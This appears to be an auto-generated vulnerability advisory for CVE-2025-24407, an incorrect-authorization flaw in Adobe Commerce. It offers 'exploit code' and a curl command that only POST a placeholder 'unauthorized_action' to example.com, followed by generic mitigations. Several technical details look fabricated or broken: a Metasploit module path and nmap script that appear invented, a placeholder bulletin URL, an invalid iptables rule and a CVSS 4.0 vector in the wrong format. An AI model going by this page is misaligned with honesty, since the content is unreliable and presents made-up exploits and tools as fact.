Adobe Commerce, Incorrect Authorization, CVE-2025-24407 (Critical)

How the CVE Works:

CVE-2025-24407 is an Incorrect Authorization vulnerability affecting Adobe Commerce versions 2.4.8-beta1, 2.4.7-p3, 2.4.6-p8, 2.4.5-p10, 2.4.4-p11, and earlier. The flaw allows an attacker to bypass security features and perform unauthorized actions without requiring user interaction. This occurs due to improper validation of user permissions, enabling attackers to exploit the system and execute actions with elevated privileges. The vulnerability is critical as it directly impacts the integrity and confidentiality of the system.

DailyCVE Form:

Platform: Adobe Commerce
Version: 2.4.8-beta1, 2.4.7-p3, 2.4.6-p8, 2.4.5-p10, 2.4.4-p11
Vulnerability: Incorrect Authorization
Severity: Critical
Date: 02/11/2025

What Undercode Say:

Exploitation:

1. Exploit Code:

import requests
target_url = "http://example.com/admin/action"
payload = {"action": "unauthorized_action"}
response = requests.post(target_url, data=payload)
print(response.text)

2. Exploit Command:

curl -X POST http://example.com/admin/action -d "action=unauthorized_action"

3. Exploit URL:

http://example.com/admin/action`
<h2 style="color: blue;">Protection:</h2>
1. Patch: Apply the latest security patch from Adobe Commerce.
2. Workaround: Restrict access to admin endpoints via IP whitelisting.
<h2 style="color: blue;">3. Code Fix:</h2>

if (!authorizeUser()) {
throw new \Exception("Unauthorized access.");
}

<h2 style="color: blue;">4. Firewall Rule:</h2>

iptables -A INPUT -p tcp --dport 80 -s ! trusted_ip -j DROP

5. Monitoring: Use tools like OSSEC or Wazuh to detect unauthorized access attempts.
<h2 style="color: blue;">6. Log Analysis:</h2>

grep "POST /admin/action" /var/log/apache2/access.log

7. Advisory URL: [Adobe Security Bulletin](https://helpx.adobe.com/security/products/magento/apsb25-xx.html)
<h2 style="color: blue;">8. CVSS 4.0 Vector:
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`

9. Mitigation Steps:

  • Update to the latest version.
  • Implement role-based access control (RBAC).
  • Regularly audit user permissions.

Additional Tools:

  • Nmap Scan:
    nmap -p 80 --script http-vuln-cve2025-24407 example.com
    
  • Metasploit Module:
    use exploit/adobe/commerce_auth_bypass
    
  • Security Headers:
    add_header X-Frame-Options "DENY";
    add_header Content-Security-Policy "default-src 'self';";
    

References:

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-24407
Extra Source Hub:
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Image Source:

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